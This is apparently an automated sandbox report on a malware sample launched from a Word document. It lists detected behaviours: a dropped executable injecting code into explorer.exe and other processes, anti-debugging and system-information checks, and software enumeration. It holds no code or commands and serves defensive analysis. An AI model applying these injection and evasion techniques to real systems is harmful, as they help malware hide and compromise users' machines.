Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\wscntfy.exe base: B229A0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\wscntfy.exe base: B22AF4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: C:\WINDOWS\system32\wscntfy.exe base: B22980 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: 47F0000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: 4822AB0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: 4822000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: 4822AC4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: 4822F88 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: 4822F8C protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: 48229A0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: 4822AF4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: 4822980 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: BA0000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: BD2AB0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: BD2000 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: BD2AC4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: BD2F88 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: BD2F8C protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: BD29A0 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: BD2AF4 protect: page execute and read and write
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory protected: unknown base: BD2980 protect: page execute and read and write
Injects a PE file into a foreign processesShow sources
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\explorer.exe base: E30000 value starts with: 4D5A
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: 9F0000 value starts with: 4D5A
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\ctfmon.exe base: A30000 value starts with: 4D5A
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\wscntfy.exe base: AF0000 value starts with: 4D5A
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: 47F0000 value starts with: 4D5A
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: BA0000 value starts with: 4D5A
Maps a DLL or memory area into another processShow sources
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeSection loaded: unknown target pid: 1496 protection: execute and read and write
Writes to foreign memory regionsShow sources
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\explorer.exe base: E30000
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\explorer.exe base: E62AB0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\explorer.exe base: E62AC4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\explorer.exe base: E62F88
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\explorer.exe base: E62F8C
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\explorer.exe base: E629A0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\explorer.exe base: E62AF4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\explorer.exe base: E62980
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: 9F0000
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22AB0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22AC4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22F88
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22F8C
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A229A0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22AF4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe base: A22980
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\ctfmon.exe base: A30000
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\ctfmon.exe base: A62AB0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\ctfmon.exe base: A62AC4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\ctfmon.exe base: A62F88
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\ctfmon.exe base: A62F8C
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\ctfmon.exe base: A629A0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\ctfmon.exe base: A62AF4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\ctfmon.exe base: A62980
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\wscntfy.exe base: AF0000
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\wscntfy.exe base: B22AB0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\wscntfy.exe base: B22AC4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\wscntfy.exe base: B22F88
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\wscntfy.exe base: B22F8C
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\wscntfy.exe base: B229A0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\wscntfy.exe base: B22AF4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: C:\WINDOWS\system32\wscntfy.exe base: B22980
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: 47F0000
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: 4822AB0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: 4822AC4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: 4822F88
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: 4822F8C
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: 48229A0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: 4822AF4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: 4822980
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: BA0000
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: BD2AB0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: BD2AC4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: BD2F88
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: BD2F8C
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: BD29A0
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: BD2AF4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeMemory written: unknown base: BD2980

Anti Debugging and Sandbox Evasion:

barindex
Contains functionality to query system informationShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_00404644 GetVersionExA,GetLocaleInfoA,GetLocaleInfoA,lstrlenA,GetModuleHandleA,GetProcAddress,GetSystemInfo,4_2_00404644
Contains functionality to register its own exception handlerShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_00404B5A SetUnhandledExceptionFilter,RevertToSelf,4_2_00404B5A
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_1_0040D75C SetUnhandledExceptionFilter,MapAndLoad,IsBadStringPtrW,5_1_0040D75C
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_1_0042533A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,5_1_0042533A
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_1_004139E2 SetUnhandledExceptionFilter,DialogBoxParamW,CreateFileMappingW,5_1_004139E2
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_1_0041107F UnmapViewOfFile,SetUnhandledExceptionFilter,RegUnLoadKeyA,5_1_0041107F
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_1_00425415 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,5_1_00425415
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_1_00416AF4 GetPrinterDriverW,SetUnhandledExceptionFilter,StartDocW,5_1_00416AF4
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_0_0040D75C SetUnhandledExceptionFilter,MapAndLoad,IsBadStringPtrW,5_0_0040D75C
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_0_0042533A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,5_0_0042533A
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_0_004139E2 SetUnhandledExceptionFilter,DialogBoxParamW,CreateFileMappingW,5_0_004139E2
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_0_0041107F UnmapViewOfFile,SetUnhandledExceptionFilter,RegUnLoadKeyA,5_0_0041107F
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_0_00425415 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,5_0_00425415
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_0_00416AF4 GetPrinterDriverW,SetUnhandledExceptionFilter,StartDocW,5_0_00416AF4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_1_0040D75C SetUnhandledExceptionFilter,MapAndLoad,IsBadStringPtrW,6_1_0040D75C
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_1_0042533A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_1_0042533A
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_1_004139E2 SetUnhandledExceptionFilter,DialogBoxParamW,CreateFileMappingW,6_1_004139E2
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_1_0041107F UnmapViewOfFile,SetUnhandledExceptionFilter,RegUnLoadKeyA,6_1_0041107F
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_1_00425415 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_1_00425415
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_1_00416AF4 GetPrinterDriverW,SetUnhandledExceptionFilter,StartDocW,6_1_00416AF4
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_0_0040D75C SetUnhandledExceptionFilter,MapAndLoad,IsBadStringPtrW,6_0_0040D75C
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_0_0042533A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_0_0042533A
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_0_004139E2 SetUnhandledExceptionFilter,DialogBoxParamW,CreateFileMappingW,6_0_004139E2
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_0_0041107F UnmapViewOfFile,SetUnhandledExceptionFilter,RegUnLoadKeyA,6_0_0041107F
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_0_00425415 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_0_00425415
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeCode function: 6_0_00416AF4 GetPrinterDriverW,SetUnhandledExceptionFilter,StartDocW,6_0_00416AF4
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))Show sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comSystem information queried: KernelDebuggerInformation
Contains functionality to check if a debugger is running (IsDebuggerPresent)Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_1_0042533A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,5_1_0042533A
Contains functionality to dynamically determine API callsShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_0040236E LoadLibraryA,LoadLibraryA,GetProcAddress,4_2_0040236E
Contains functionality which may be used to detect a debugger (GetProcessHeap)Show sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_004053BF VirtualFree,GetProcessHeap,HeapFree,4_2_004053BF
Creates guard pages, often used to prevent reverse engineering and debuggingShow sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEMemory protected: page read and write and page guard
Is looking for software installed on the systemShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comRegistry key enumerated: More than 213 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Virtual Machine Detection:

barindex
Contains functionality to enumerate / list files inside a directoryShow sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exeCode function: 5_2_0041DD7A FindFirstFileW,Sleep,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,5_2_0041DD7A
Contains functionality to query system informationShow sources
Source: C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.comCode function: 4_2_00404644 GetVersionExA,GetLocaleInfoA,GetLocaleInfoA,lstrlenA,GetModuleHandleA,GetProcAddress,GetSystemInfo,4_2_00404644
Queries a list of all running processesShow sources
Source: C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exeProcess information queried: ProcessInformation

Hooking and other Techniques for Hiding and Protection:

barindex
Disables application error messsages (SetErrorMode)Show sources
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
